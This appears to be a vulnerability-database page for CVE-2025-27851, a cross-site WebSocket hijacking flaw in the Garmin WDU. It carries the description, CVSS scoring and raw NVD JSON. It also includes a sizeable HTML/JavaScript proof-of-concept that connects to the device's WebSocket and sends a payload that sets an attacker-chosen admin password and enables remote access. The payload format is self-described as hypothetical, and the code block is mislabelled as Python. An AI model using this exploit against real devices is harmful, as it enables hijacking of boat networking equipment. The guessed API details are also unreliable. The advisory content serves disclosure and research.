CVE-2025-27851

Description

The locally served web site on the Garmin WDU (v1 1.4.6 and v2 5.0) allows a cross-site origin WebSocket hijacking attack. Among other uses, the WDU utilizes WebSockets to control settings, including administrative settings. This allows a network attacker to take full control of a WDU. To initiate an exploit of this vulnerability, the victim must (1) be utilizing a web browser on a multihomed host that has local interfaces on the Garmin Marine Network as well as another network, and (2) access a malicious third party website created by the attacker.

CVSS Details

CVSS Score

9.3

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Garmin WDU v1 1.4.6

Garmin WDU v2 5.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2025-27851: Cross-Site WebSocket Hijacking -->
<!-- Description: This HTML page attempts to connect to the local Garmin WDU instance
             and send a malicious command to change administrative settings.
             Requirements: The victim must be on a multihomed host connected to the Garmin Marine Network. -->

<!DOCTYPE html>
<html>
<head>
    <title>Garmin WDU Exploit PoC</title>
</head>
<body>
    <h2>CVE-2025-27851 Exploit Test</h2>
    <p>Check browser console for output.</p>

    <script>
        // Target the local IP address of the Garmin WDU on the Marine Network
        // Note: The actual IP needs to be discovered or guessed (e.g., 192.168.0.1)
        const target_wdu_ip = "192.168.0.1"; 
        const ws_url = "ws://" + target_wdu_ip + "/api/websocket"; // Endpoint might vary

        console.log("[+] Attempting to connect to " + ws_url);

        try {
            const socket = new WebSocket(ws_url);

            socket.onopen = function(e) {
                console.log("[+] Connection established successfully!");
                
                // Construct a malicious payload to modify settings
                // Payload structure is hypothetical based on typical device APIs
                const exploit_payload = JSON.stringify({
                    "command": "set_admin_settings",
                    "parameters": {
                        "username": "admin",
                        "password": "attacker_controlled",
                        "remote_access": true
                    }
                });

                console.log("[+] Sending payload: " + exploit_payload);
                socket.send(exploit_payload);
            };

            socket.onmessage = function(event) {
                console.log("[+] Response received from WDU: " + event.data);
            };

            socket.onerror = function(error) {
                console.log("[-] WebSocket Error: " + error);
            };

            socket.onclose = function(event) {
                console.log("[+] Connection closed");
            };
        } catch (err) {
            console.log("[-] Exception occurred: " + err);
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-27851
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-27851
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-27851/
[4] VulDB https://vuldb.com/cve/CVE-2025-27851
[5] https://garmin.com
[6] https://www8.garmin.com/support/ch.jsp?product=010-02642-00

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-27851", "sourceIdentifier": "[email protected]", "published": "2026-05-13T21:16:41.233", "lastModified": "2026-05-14T17:06:08.693", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "The locally served web site on the Garmin WDU (v1 1.4.6 and v2 5.0) allows a cross-site origin WebSocket hijacking attack. Among other uses, the WDU utilizes WebSockets to control settings, including administrative settings. This allows a network attacker to take full control of a WDU. To initiate an exploit of this vulnerability, the victim must (1) be utilizing a web browser on a multihomed host that has local interfaces on the Garmin Marine Network as well as another network, and (2) access a malicious third party website created by the attacker."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.8}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://garmin.com", "source": "[email protected]"}, {"url": "https://www8.garmin.com/support/ch.jsp?product=010-02642-00", "source": "[email protected]"}]}}